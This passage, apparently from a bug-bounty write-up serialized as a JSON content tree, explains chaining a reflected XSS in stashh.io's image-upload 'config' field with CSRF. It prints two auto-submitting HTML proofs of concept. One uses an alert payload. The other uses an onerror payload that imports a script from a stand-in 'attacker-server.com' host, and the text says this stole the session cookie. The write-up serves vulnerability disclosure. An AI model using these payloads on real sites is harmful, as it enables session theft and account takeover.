upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":32,"props":34646,"children":34647},{},[34648],{"type":23,"tag":93,"props":34649,"children":34651},{"alt":7,"src":34650},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":32,"props":34653,"children":34654},{},[34655],{"type":29,"value":34656},"and here there is the code:",{"type":23,"tag":220,"props":34658,"children":34660},{"className":33669,"code":34659,"language":33671,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[34661],{"type":23,"tag":71,"props":34662,"children":34663},{"__ignoreMap":7},[34664,34681,34697,34731,34817,34874,35073,35114,35130,35146,35153,35168,35175,35187,35245,35252,35315,35344,35382,35389,35427,35440,35447,35462],{"type":23,"tag":230,"props":34665,"children":34666},{"class":232,"line":233},[34667,34672,34677],{"type":23,"tag":230,"props":34668,"children":34670},{"style":34669},"--shiki-default:#808080",[34671],{"type":29,"value":8143},{"type":23,"tag":230,"props":34673,"children":34674},{"style":256},[34675],{"type":29,"value":34676},"html",{"type":23,"tag":230,"props":34678,"children":34679},{"style":34669},[34680],{"type":29,"value":8329},{"type":23,"tag":230,"props":34682,"children":34683},{"class":232,"line":243},[34684,34689,34693],{"type":23,"tag":230,"props":34685,"children":34686},{"style":34669},[34687],{"type":29,"value":34688},"  \u003C",{"type":23,"tag":230,"props":34690,"children":34691},{"style":256},[34692],{"type":29,"value":1606},{"type":23,"tag":230,"props":34694,"children":34695},{"style":34669},[34696],{"type":29,"value":8329},{"type":23,"tag":230,"props":34698,"children":34699},{"class":232,"line":252},[34700,34704,34709,34713,34718,34723,34727],{"type":23,"tag":230,"props":34701,"children":34702},{"style":34669},[34703],{"type":29,"value":34688},{"type":23,"tag":230,"props":34705,"children":34706},{"style":256},[34707],{"type":29,"value":34708},"script",{"type":23,"tag":230,"props":34710,"children":34711},{"style":34669},[34712],{"type":29,"value":12792},{"type":23,"tag":230,"props":34714,"children":34715},{"style":274},[34716],{"type":29,"value":34717},"history.pushState('', '', '/')",{"type":23,"tag":230,"props":34719,"children":34720},{"style":34669},[34721],{"type":29,"value":34722},"\u003C/",{"type":23,"tag":230,"props":34724,"children":34725},{"style":256},[34726],{"type":29,"value":34708},{"type":23,"tag":230,"props":34728,"children":34729},{"style":34669},[34730],{"type":29,"value":8329},{"type":23,"tag":230,"props":34732,"children":34733},{"class":232,"line":280},[34734,34739,34744,34749,34753,34758,34763,34767,34772,34776,34780,34785,34790,34794,34799,34804,34808,34813],{"type":23,"tag":230,"props":34735,"children":34736},{"style":34669},[34737],{"type":29,"value":34738},"    \u003C",{"type":23,"tag":230,"props":34740,"children":34741},{"style":256},[34742],{"type":29,"value":34743},"form",{"type":23,"tag":230,"props":34745,"children":34746},{"style":262},[34747],{"type":29,"value":34748}," id",{"type":23,"tag":230,"props":34750,"children":34751},{"style":268},[34752],{"type":29,"value":863},{"type":23,"tag":230,"props":34754,"children":34755},{"style":380},[34756],{"type":29,"value":34757},"\"form123\"",{"type":23,"tag":230,"props":34759,"children":34760},{"style":262},[34761],{"type":29,"value":34762}," action",{"type":23,"tag":230,"props":34764,"children":34765},{"style":268},[34766],{"type":29,"value":863},{"type":23,"tag":230,"props":34768,"children":34769},{"style":380},[34770],{"type":29,"value":34771},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":230,"props":34773,"children":34774},{"style":262},[34775],{"type":29,"value":19431},{"type":23,"tag":230,"props":34777,"children":34778},{"style":268},[34779],{"type":29,"value":863},{"type":23,"tag":230,"props":34781,"children":34782},{"style":380},[34783],{"type":29,"value":34784},"\"POST\"",{"type":23,"tag":230,"props":34786,"children":34787},{"style":262},[34788],{"type":29,"value":34789}," enctype",{"type":23,"tag":230,"props":34791,"children":34792},{"style":268},[34793],{"type":29,"value":863},{"type":23,"tag":230,"props":34795,"children":34796},{"style":380},[34797],{"type":29,"value":34798},"\"multipart/form-data\"",{"type":23,"tag":230,"props":34800,"children":34801},{"style":262},[34802],{"type":29,"value":34803}," value",{"type":23,"tag":230,"props":34805,"children":34806},{"style":268},[34807],{"type":29,"value":863},{"type":23,"tag":230,"props":34809,"children":34810},{"style":380},[34811],{"type":29,"value":34812},"\"asd\"",{"type":23,"tag":230,"props":34814,"children":34815},{"style":34669},[34816],{"type":29,"value":8329},{"type":23,"tag":230,"props":34818,"children":34819},{"class":232,"line":334},[34820,34825,34829,34834,34838,34843,34848,34852,34857,34861,34865,34870],{"type":23,"tag":230,"props":34821,"children":34822},{"style":34669},[34823],{"type":29,"value":34824},"     \u003C",{"type":23,"tag":230,"props":34826,"children":34827},{"style":256},[34828],{"type":29,"value":10702},{"type":23,"tag":230,"props":34830,"children":34831},{"style":262},[34832],{"type":29,"value":34833}," type",{"type":23,"tag":230,"props":34835,"children":34836},{"style":268},[34837],{"type":29,"value":863},{"type":23,"tag":230,"props":34839,"children":34840},{"style":380},[34841],{"type":29,"value":34842},"\"file\"",{"type":23,"tag":230,"props":34844,"children":34845},{"style":262},[34846],{"type":29,"value":34847}," name",{"type":23,"tag":230,"props":34849,"children":34850},{"style":268},[34851],{"type":29,"value":863},{"type":23,"tag":230,"props":34853,"children":34854},{"style":380},[34855],{"type":29,"value":34856},"\"data\"",{"type":23,"tag":230,"props":34858,"children":34859},{"style":262},[34860],{"type":29,"value":34748},{"type":23,"tag":230,"props":34862,"children":34863},{"style":268},[34864],{"type":29,"value":863},{"type":23,"tag":230,"props":34866,"children":34867},{"style":380},[34868],{"type":29,"value":34869},"\"file123\"",{"type":23,"tag":230,"props":34871,"children":34872},{"style":34669},[34873],{"type":29,"value":8329},{"type":23,"tag":230,"props":34875,"children":34876},{"class":232,"line":371},[34877,34882,34886,34890,34894,34899,34903,34907,34912,34916,34920,34924,34929,34934,34939,34944,34949,34953,34958,34963,34968,34972,34977,34982,34986,34991,34996,35001,35006,35011,35016,35021,35025,35030,35035,35040,35045,35050,35054,35059,35064,35068],{"type":23,"tag":230,"props":34878,"children":34879},{"style":34669},[34880],{"type":29,"value":34881},"      \u003C",{"type":23,"tag":230,"props":34883,"children":34884},{"style":256},[34885],{"type":29,"value":10702},{"type":23,"tag":230,"props":34887,"children":34888},{"style":262},[34889],{"type":29,"value":34833},{"type":23,"tag":230,"props":34891,"children":34892},{"style":268},[34893],{"type":29,"value":863},{"type":23,"tag":230,"props":34895,"children":34896},{"style":380},[34897],{"type":29,"value":34898},"\"hidden\"",{"type":23,"tag":230,"props":34900,"children":34901},{"style":262},[34902],{"type":29,"value":34847},{"type":23,"tag":230,"props":34904,"children":34905},{"style":268},[34906],{"type":29,"value":863},{"type":23,"tag":230,"props":34908,"children":34909},{"style":380},[34910],{"type":29,"value":34911},"\"config\"",{"type":23,"tag":230,"props":34913,"children":34914},{"style":262},[34915],{"type":29,"value":34803},{"type":23,"tag":230,"props":34917,"children":34918},{"style":268},[34919],{"type":29,"value":863},{"type":23,"tag":230,"props":34921,"children":34922},{"style":380},[34923],{"type":29,"value":22374},{"type":23,"tag":230,"props":34925,"children":34926},{"style":256},[34927],{"type":29,"value":34928},"{"",{"type":23,"tag":230,"props":34930,"children":34931},{"style":380},[34932],{"type":29,"value":34933},"address",{"type":23,"tag":230,"props":34935,"children":34936},{"style":256},[34937],{"type":29,"value":34938},"":"",{"type":23,"tag":230,"props":34940,"children":34941},{"style":380},[34942],{"type":29,"value":34943},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":230,"props":34945,"children":34946},{"style":256},[34947],{"type":29,"value":34948},"<",{"type":23,"tag":230,"props":34950,"children":34951},{"style":380},[34952],{"type":29,"value":93},{"type":23,"tag":230,"props":34954,"children":34955},{"style":256},[34956],{"type":29,"value":34957},"/",{"type":23,"tag":230,"props":34959,"children":34960},{"style":380},[34961],{"type":29,"value":34962},"src",{"type":23,"tag":230,"props":34964,"children":34965},{"style":256},[34966],{"type":29,"value":34967},"=",{"type":23,"tag":230,"props":34969,"children":34970},{"style":380},[34971],{"type":29,"value":4511},{"type":23,"tag":230,"props":34973,"children":34974},{"style":256},[34975],{"type":29,"value":34976}," ",{"type":23,"tag":230,"props":34978,"children":34979},{"style":380},[34980],{"type":29,"value":34981},"onerror",{"type":23,"tag":230,"props":34983,"children":34984},{"style":256},[34985],{"type":29,"value":34967},{"type":23,"tag":230,"props":34987,"children":34988},{"style":380},[34989],{"type":29,"value":34990},"alert",{"type":23,"tag":230,"props":34992,"children":34993},{"style":256},[34994],{"type":29,"value":34995},"(",{"type":23,"tag":230,"props":34997,"children":34998},{"style":380},[34999],{"type":29,"value":35000},"document",{"type":23,"tag":230,"props":35002,"children":35003},{"style":256},[35004],{"type":29,"value":35005},".",{"type":23,"tag":230,"props":35007,"children":35008},{"style":380},[35009],{"type":29,"value":35010},"domain",{"type":23,"tag":230,"props":35012,"children":35013},{"style":256},[35014],{"type":29,"value":35015},")>","",{"type":23,"tag":230,"props":35017,"children":35018},{"style":380},[35019],{"type":29,"value":35020},"to",{"type":23,"tag":230,"props":35022,"children":35023},{"style":256},[35024],{"type":29,"value":34938},{"type":23,"tag":230,"props":35026,"children":35027},{"style":380},[35028],{"type":29,"value":35029},"profile",{"type":23,"tag":230,"props":35031,"children":35032},{"style":256},[35033],{"type":29,"value":35034},"-",{"type":23,"tag":230,"props":35036,"children":35037},{"style":380},[35038],{"type":29,"value":35039},"assets",{"type":23,"tag":230,"props":35041,"children":35042},{"style":256},[35043],{"type":29,"value":35044},"","",{"type":23,"tag":230,"props":35046,"children":35047},{"style":380},[35048],{"type":29,"value":35049},"type",{"type":23,"tag":230,"props":35051,"children":35052},{"style":256},[35053],{"type":29,"value":34938},{"type":23,"tag":230,"props":35055,"children":35056},{"style":380},[35057],{"type":29,"value":35058},"icon",{"type":23,"tag":230,"props":35060,"children":35061},{"style":256},[35062],{"type":29,"value":35063},""}",{"type":23,"tag":230,"props":35065,"children":35066},{"style":380},[35067],{"type":29,"value":22374},{"type":23,"tag":230,"props":35069,"children":35070},{"style":34669},[35071],{"type":29,"value":35072}," />\n",{"type":23,"tag":230,"props":35074,"children":35075},{"class":232,"line":391},[35076,35080,35084,35088,35092,35097,35101,35105,35110],{"type":23,"tag":230,"props":35077,"children":35078},{"style":34669},[35079],{"type":29,"value":34881},{"type":23,"tag":230,"props":35081,"children":35082},{"style":256},[35083],{"type":29,"value":10702},{"type":23,"tag":230,"props":35085,"children":35086},{"style":262},[35087],{"type":29,"value":34833},{"type":23,"tag":230,"props":35089,"children":35090},{"style":268},[35091],{"type":29,"value":863},{"type":23,"tag":230,"props":35093,"children":35094},{"style":380},[35095],{"type":29,"value":35096},"\"submit\"",{"type":23,"tag":230,"props":35098,"children":35099},{"style":262},[35100],{"type":29,"value":34803},{"type":23,"tag":230,"props":35102,"children":35103},{"style":268},[35104],{"type":29,"value":863},{"type":23,"tag":230,"props":35106,"children":35107},{"style":380},[35108],{"type":29,"value":35109},"\"Submit request\"",{"type":23,"tag":230,"props":35111,"children":35112},{"style":34669},[35113],{"type":29,"value":35072},{"type":23,"tag":230,"props":35115,"children":35116},{"class":232,"line":400},[35117,35122,35126],{"type":23,"tag":230,"props":35118,"children":35119},{"style":34669},[35120],{"type":29,"value":35121},"    \u003C/",{"type":23,"tag":230,"props":35123,"children":35124},{"style":256},[35125],{"type":29,"value":34743},{"type":23,"tag":230,"props":35127,"children":35128},{"style":34669},[35129],{"type":29,"value":8329},{"type":23,"tag":230,"props":35131,"children":35132},{"class":232,"line":444},[35133,35138,35142],{"type":23,"tag":230,"props":35134,"children":35135},{"style":34669},[35136],{"type":29,"value":35137},"  \u003C/",{"type":23,"tag":230,"props":35139,"children":35140},{"style":256},[35141],{"type":29,"value":1606},{"type":23,"tag":230,"props":35143,"children":35144},{"style":34669},[35145],{"type":29,"value":8329},{"type":23,"tag":230,"props":35147,"children":35148},{"class":232,"line":453},[35149],{"type":23,"tag":230,"props":35150,"children":35151},{"emptyLinePlaceholder":18},[35152],{"type":29,"value":459},{"type":23,"tag":230,"props":35154,"children":35155},{"class":232,"line":462},[35156,35160,35164],{"type":23,"tag":230,"props":35157,"children":35158},{"style":34669},[35159],{"type":29,"value":34688},{"type":23,"tag":230,"props":35161,"children":35162},{"style":256},[35163],{"type":29,"value":34708},{"type":23,"tag":230,"props":35165,"children":35166},{"style":34669},[35167],{"type":29,"value":8329},{"type":23,"tag":230,"props":35169,"children":35170},{"class":232,"line":471},[35171],{"type":23,"tag":230,"props":35172,"children":35173},{"emptyLinePlaceholder":18},[35174],{"type":29,"value":459},{"type":23,"tag":230,"props":35176,"children":35177},{"class":232,"line":500},[35178,35183],{"type":23,"tag":230,"props":35179,"children":35180},{"style":274},[35181],{"type":29,"value":35182},"    (async ()=>",{"type":23,"tag":230,"props":35184,"children":35185},{"style":256},[35186],{"type":29,"value":13211},{"type":23,"tag":230,"props":35188,"children":35189},{"class":232,"line":514},[35190,35195,35200,35205,35209,35213,35217,35222,35226,35231,35236,35241],{"type":23,"tag":230,"props":35191,"children":35192},{"style":262},[35193],{"type":29,"value":35194},"        const",{"type":23,"tag":230,"props":35196,"children":35197},{"style":262},[35198],{"type":29,"value":35199}," blob",{"type":23,"tag":230,"props":35201,"children":35202},{"style":268},[35203],{"type":29,"value":35204}," = ",{"type":23,"tag":230,"props":35206,"children":35207},{"style":866},[35208],{"type":29,"value":2640},{"type":23,"tag":230,"props":35210,"children":35211},{"style":268},[35212],{"type":29,"value":664},{"type":23,"tag":230,"props":35214,"children":35215},{"style":866},[35216],{"type":29,"value":2640},{"type":23,"tag":230,"props":35218,"children":35219},{"style":294},[35220],{"type":29,"value":35221}," fetch",{"type":23,"tag":230,"props":35223,"children":35224},{"style":268},[35225],{"type":29,"value":302},{"type":23,"tag":230,"props":35227,"children":35228},{"style":380},[35229],{"type":29,"value":35230},"\"/sapo.png\"",{"type":23,"tag":230,"props":35232,"children":35233},{"style":268},[35234],{"type":29,"value":35235},")).",{"type":23,"tag":230,"props":35237,"children":35238},{"style":294},[35239],{"type":29,"value":35240},"blob",{"type":23,"tag":230,"props":35242,"children":35243},{"style":268},[35244],{"type":29,"value":10072},{"type":23,"tag":230,"props":35246,"children":35247},{"class":232,"line":897},[35248],{"type":23,"tag":230,"props":35249,"children":35250},{"emptyLinePlaceholder":18},[35251],{"type":29,"value":459},{"type":23,"tag":230,"props":35253,"children":35254},{"class":232,"line":960},[35255,35259,35264,35268,35272,35277,35282,35286,35290,35295,35300,35305,35310],{"type":23,"tag":230,"props":35256,"children":35257},{"style":262},[35258],{"type":29,"value":5404},{"type":23,"tag":230,"props":35260,"children":35261},{"style":262},[35262],{"type":29,"value":35263}," f",{"type":23,"tag":230,"props":35265,"children":35266},{"style":268},[35267],{"type":29,"value":35204},{"type":23,"tag":230,"props":35269,"children":35270},{"style":256},[35271],{"type":29,"value":17448},{"type":23,"tag":230,"props":35273,"children":35274},{"style":294},[35275],{"type":29,"value":35276}," File",{"type":23,"tag":230,"props":35278,"children":35279},{"style":268},[35280],{"type":29,"value":35281},"([",{"type":23,"tag":230,"props":35283,"children":35284},{"style":262},[35285],{"type":29,"value":35240},{"type":23,"tag":230,"props":35287,"children":35288},{"style":268},[35289],{"type":29,"value":25375},{"type":23,"tag":230,"props":35291,"children":35292},{"style":380},[35293],{"type":29,"value":35294},"'sapo.png'",{"type":23,"tag":230,"props":35296,"children":35297},{"style":268},[35298],{"type":29,"value":35299},", {",{"type":23,"tag":230,"props":35301,"children":35302},{"style":262},[35303],{"type":29,"value":35304},"type:",{"type":23,"tag":230,"props":35306,"children":35307},{"style":380},[35308],{"type":29,"value":35309}," 'image/png'",{"type":23,"tag":230,"props":35311,"children":35312},{"style":268},[35313],{"type":29,"value":35314},"})\n",{"type":23,"tag":230,"props":35316,"children":35317},{"class":232,"line":969},[35318,35322,35327,35331,35335,35340],{"type":23,"tag":230,"props":35319,"children":35320},{"style":262},[35321],{"type":29,"value":35194},{"type":23,"tag":230,"props":35323,"children":35324},{"style":262},[35325],{"type":29,"value":35326}," dataTransfer",{"type":23,"tag":230,"props":35328,"children":35329},{"style":268},[35330],{"type":29,"value":35204},{"type":23,"tag":230,"props":35332,"children":35333},{"style":256},[35334],{"type":29,"value":17448},{"type":23,"tag":230,"props":35336,"children":35337},{"style":294},[35338],{"type":29,"value":35339}," DataTransfer",{"type":23,"tag":230,"props":35341,"children":35342},{"style":268},[35343],{"type":29,"value":2140},{"type":23,"tag":230,"props":35345,"children":35346},{"class":232,"line":4526},[35347,35352,35356,35361,35365,35369,35373,35378],{"type":23,"tag":230,"props":35348,"children":35349},{"style":262},[35350],{"type":29,"value":35351},"        dataTransfer",{"type":23,"tag":230,"props":35353,"children":35354},{"style":268},[35355],{"type":29,"value":312},{"type":23,"tag":230,"props":35357,"children":35358},{"style":262},[35359],{"type":29,"value":35360},"items",{"type":23,"tag":230,"props":35362,"children":35363},{"style":268},[35364],{"type":29,"value":312},{"type":23,"tag":230,"props":35366,"children":35367},{"style":294},[35368],{"type":29,"value":11969},{"type":23,"tag":230,"props":35370,"children":35371},{"style":268},[35372],{"type":29,"value":302},{"type":23,"tag":230,"props":35374,"children":35375},{"style":262},[35376],{"type":29,"value":35377},"f",{"type":23,"tag":230,"props":35379,"children":35380},{"style":268},[35381],{"type":29,"value":753},{"type":23,"tag":230,"props":35383,"children":35384},{"class":232,"line":4534},[35385],{"type":23,"tag":230,"props":35386,"children":35387},{"emptyLinePlaceholder":18},[35388],{"type":29,"value":459},{"type":23,"tag":230,"props":35390,"children":35391},{"class":232,"line":4542},[35392,35397,35401,35406,35410,35415,35419,35423],{"type":23,"tag":230,"props":35393,"children":35394},{"style":262},[35395],{"type":29,"value":35396},"        file123",{"type":23,"tag":230,"props":35398,"children":35399},{"style":268},[35400],{"type":29,"value":312},{"type":23,"tag":230,"props":35402,"children":35403},{"style":262},[35404],{"type":29,"value":35405},"files",{"type":23,"tag":230,"props":35407,"children":35408},{"style":268},[35409],{"type":29,"value":35204},{"type":23,"tag":230,"props":35411,"children":35412},{"style":262},[35413],{"type":29,"value":35414},"dataTransfer",{"type":23,"tag":230,"props":35416,"children":35417},{"style":268},[35418],{"type":29,"value":312},{"type":23,"tag":230,"props":35420,"children":35421},{"style":262},[35422],{"type":29,"value":35405},{"type":23,"tag":230,"props":35424,"children":35425},{"style":268},[35426],{"type":29,"value":511},{"type":23,"tag":230,"props":35428,"children":35429},{"class":232,"line":4559},[35430,35435],{"type":23,"tag":230,"props":35431,"children":35432},{"style":256},[35433],{"type":29,"value":35434},"    }",{"type":23,"tag":230,"props":35436,"children":35437},{"style":274},[35438],{"type":29,"value":35439},")()\n",{"type":23,"tag":230,"props":35441,"children":35442},{"class":232,"line":4587},[35443],{"type":23,"tag":230,"props":35444,"children":35445},{"emptyLinePlaceholder":18},[35446],{"type":29,"value":459},{"type":23,"tag":230,"props":35448,"children":35449},{"class":232,"line":4595},[35450,35454,35458],{"type":23,"tag":230,"props":35451,"children":35452},{"style":34669},[35453],{"type":29,"value":35137},{"type":23,"tag":230,"props":35455,"children":35456},{"style":256},[35457],{"type":29,"value":34708},{"type":23,"tag":230,"props":35459,"children":35460},{"style":34669},[35461],{"type":29,"value":8329},{"type":23,"tag":230,"props":35463,"children":35464},{"class":232,"line":4619},[35465,35469,35473],{"type":23,"tag":230,"props":35466,"children":35467},{"style":34669},[35468],{"type":29,"value":34722},{"type":23,"tag":230,"props":35470,"children":35471},{"style":256},[35472],{"type":29,"value":34676},{"type":23,"tag":230,"props":35474,"children":35475},{"style":34669},[35476],{"type":29,"value":8329},{"type":23,"tag":32,"props":35478,"children":35479},{},[35480],{"type":29,"value":35481},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":32,"props":35483,"children":35484},{},[35485],{"type":29,"value":35486},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":32,"props":35488,"children":35489},{},[35490],{"type":29,"value":35491},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":32,"props":35493,"children":35494},{},[35495],{"type":29,"value":35496},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":220,"props":35498,"children":35500},{"className":33669,"code":35499,"language":33671,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[35501],{"type":23,"tag":71,"props":35502,"children":35503},{"__ignoreMap":7},[35504,35519,35534,35565,35640,35691,35879,35918,35933,35948,35955,35970,35977,35988,36039,36046,36101,36128,36163,36170,36205,36212,36233,36244,36251,36266],{"type":23,"tag":230,"props":35505,"children":35506},{"class":232,"line":233},[35507,35511,35515],{"type":23,"tag":230,"props":35508,"children":35509},{"style":34669},[35510],{"type":29,"value":8143},{"type":23,"tag":230,"props":35512,"children":35513},{"style":256},[35514],{"type":29,"value":34676},{"type":23,"tag":230,"props":35516,"children":35517},{"style":34669},[35518],{"type":29,"value":8329},{"type":23,"tag":230,"props":35520,"children":35521},{"class":232,"line":243},[35522,35526,35530],{"type":23,"tag":230,"props":35523,"children":35524},{"style":34669},[35525],{"type":29,"value":34688},{"type":23,"tag":230,"props":35527,"children":35528},{"style":256},[35529],{"type":29,"value":1606},{"type":23,"tag":230,"props":35531,"children":35532},{"style":34669},[35533],{"type":29,"value":8329},{"type":23,"tag":230,"props":35535,"children":35536},{"class":232,"line":252},[35537,35541,35545,35549,35553,35557,35561],{"type":23,"tag":230,"props":35538,"children":35539},{"style":34669},[35540],{"type":29,"value":34688},{"type":23,"tag":230,"props":35542,"children":35543},{"style":256},[35544],{"type":29,"value":34708},{"type":23,"tag":230,"props":35546,"children":35547},{"style":34669},[35548],{"type":29,"value":12792},{"type":23,"tag":230,"props":35550,"children":35551},{"style":274},[35552],{"type":29,"value":34717},{"type":23,"tag":230,"props":35554,"children":35555},{"style":34669},[35556],{"type":29,"value":34722},{"type":23,"tag":230,"props":35558,"children":35559},{"style":256},[35560],{"type":29,"value":34708},{"type":23,"tag":230,"props":35562,"children":35563},{"style":34669},[35564],{"type":29,"value":8329},{"type":23,"tag":230,"props":35566,"children":35567},{"class":232,"line":280},[35568,35572,35576,35580,35584,35588,35592,35596,35600,35604,35608,35612,35616,35620,35624,35628,35632,35636],{"type":23,"tag":230,"props":35569,"children":35570},{"style":34669},[35571],{"type":29,"value":34738},{"type":23,"tag":230,"props":35573,"children":35574},{"style":256},[35575],{"type":29,"value":34743},{"type":23,"tag":230,"props":35577,"children":35578},{"style":262},[35579],{"type":29,"value":34748},{"type":23,"tag":230,"props":35581,"children":35582},{"style":268},[35583],{"type":29,"value":863},{"type":23,"tag":230,"props":35585,"children":35586},{"style":380},[35587],{"type":29,"value":34757},{"type":23,"tag":230,"props":35589,"children":35590},{"style":262},[35591],{"type":29,"value":34762},{"type":23,"tag":230,"props":35593,"children":35594},{"style":268},[35595],{"type":29,"value":863},{"type":23,"tag":230,"props":35597,"children":35598},{"style":380},[35599],{"type":29,"value":34771},{"type":23,"tag":230,"props":35601,"children":35602},{"style":262},[35603],{"type":29,"value":19431},{"type":23,"tag":230,"props":35605,"children":35606},{"style":268},[35607],{"type":29,"value":863},{"type":23,"tag":230,"props":35609,"children":35610},{"style":380},[35611],{"type":29,"value":34784},{"type":23,"tag":230,"props":35613,"children":35614},{"style":262},[35615],{"type":29,"value":34789},{"type":23,"tag":230,"props":35617,"children":35618},{"style":268},[35619],{"type":29,"value":863},{"type":23,"tag":230,"props":35621,"children":35622},{"style":380},[35623],{"type":29,"value":34798},{"type":23,"tag":230,"props":35625,"children":35626},{"style":262},[35627],{"type":29,"value":34803},{"type":23,"tag":230,"props":35629,"children":35630},{"style":268},[35631],{"type":29,"value":863},{"type":23,"tag":230,"props":35633,"children":35634},{"style":380},[35635],{"type":29,"value":34812},{"type":23,"tag":230,"props":35637,"children":35638},{"style":34669},[35639],{"type":29,"value":8329},{"type":23,"tag":230,"props":35641,"children":35642},{"class":232,"line":334},[35643,35647,35651,35655,35659,35663,35667,35671,35675,35679,35683,35687],{"type":23,"tag":230,"props":35644,"children":35645},{"style":34669},[35646],{"type":29,"value":34824},{"type":23,"tag":230,"props":35648,"children":35649},{"style":256},[35650],{"type":29,"value":10702},{"type":23,"tag":230,"props":35652,"children":35653},{"style":262},[35654],{"type":29,"value":34833},{"type":23,"tag":230,"props":35656,"children":35657},{"style":268},[35658],{"type":29,"value":863},{"type":23,"tag":230,"props":35660,"children":35661},{"style":380},[35662],{"type":29,"value":34842},{"type":23,"tag":230,"props":35664,"children":35665},{"style":262},[35666],{"type":29,"value":34847},{"type":23,"tag":230,"props":35668,"children":35669},{"style":268},[35670],{"type":29,"value":863},{"type":23,"tag":230,"props":35672,"children":35673},{"style":380},[35674],{"type":29,"value":34856},{"type":23,"tag":230,"props":35676,"children":35677},{"style":262},[35678],{"type":29,"value":34748},{"type":23,"tag":230,"props":35680,"children":35681},{"style":268},[35682],{"type":29,"value":863},{"type":23,"tag":230,"props":35684,"children":35685},{"style":380},[35686],{"type":29,"value":34869},{"type":23,"tag":230,"props":35688,"children":35689},{"style":34669},[35690],{"type":29,"value":8329},{"type":23,"tag":230,"props":35692,"children":35693},{"class":232,"line":371},[35694,35698,35702,35706,35710,35714,35718,35722,35726,35730,35734,35738,35743,35747,35752,35756,35761,35765,35770,35775,35779,35783,35788,35793,35798,35803,35808,35813,35817,35822,35826,35830,35835,35839,35844,35849,35854,35858,35862,35866,35871,35875],{"type":23,"tag":230,"props":35695,"children":35696},{"style":34669},[35697],{"type":29,"value":34881},{"type":23,"tag":230,"props":35699,"children":35700},{"style":256},[35701],{"type":29,"value":10702},{"type":23,"tag":230,"props":35703,"children":35704},{"style":262},[35705],{"type":29,"value":34833},{"type":23,"tag":230,"props":35707,"children":35708},{"style":268},[35709],{"type":29,"value":863},{"type":23,"tag":230,"props":35711,"children":35712},{"style":380},[35713],{"type":29,"value":34898},{"type":23,"tag":230,"props":35715,"children":35716},{"style":262},[35717],{"type":29,"value":34847},{"type":23,"tag":230,"props":35719,"children":35720},{"style":268},[35721],{"type":29,"value":863},{"type":23,"tag":230,"props":35723,"children":35724},{"style":380},[35725],{"type":29,"value":34911},{"type":23,"tag":230,"props":35727,"children":35728},{"style":262},[35729],{"type":29,"value":34803},{"type":23,"tag":230,"props":35731,"children":35732},{"style":268},[35733],{"type":29,"value":863},{"type":23,"tag":230,"props":35735,"children":35736},{"style":380},[35737],{"type":29,"value":22374},{"type":23,"tag":230,"props":35739,"children":35740},{"style":256},[35741],{"type":29,"value":35742},"{"",{"type":23,"tag":230,"props":35744,"children":35745},{"style":380},[35746],{"type":29,"value":34933},{"type":23,"tag":230,"props":35748,"children":35749},{"style":256},[35750],{"type":29,"value":35751},"":"<",{"type":23,"tag":230,"props":35753,"children":35754},{"style":380},[35755],{"type":29,"value":93},{"type":23,"tag":230,"props":35757,"children":35758},{"style":256},[35759],{"type":29,"value":35760},"/",{"type":23,"tag":230,"props":35762,"children":35763},{"style":380},[35764],{"type":29,"value":34962},{"type":23,"tag":230,"props":35766,"children":35767},{"style":256},[35768],{"type":29,"value":35769},"=",{"type":23,"tag":230,"props":35771,"children":35772},{"style":380},[35773],{"type":29,"value":35774},"x 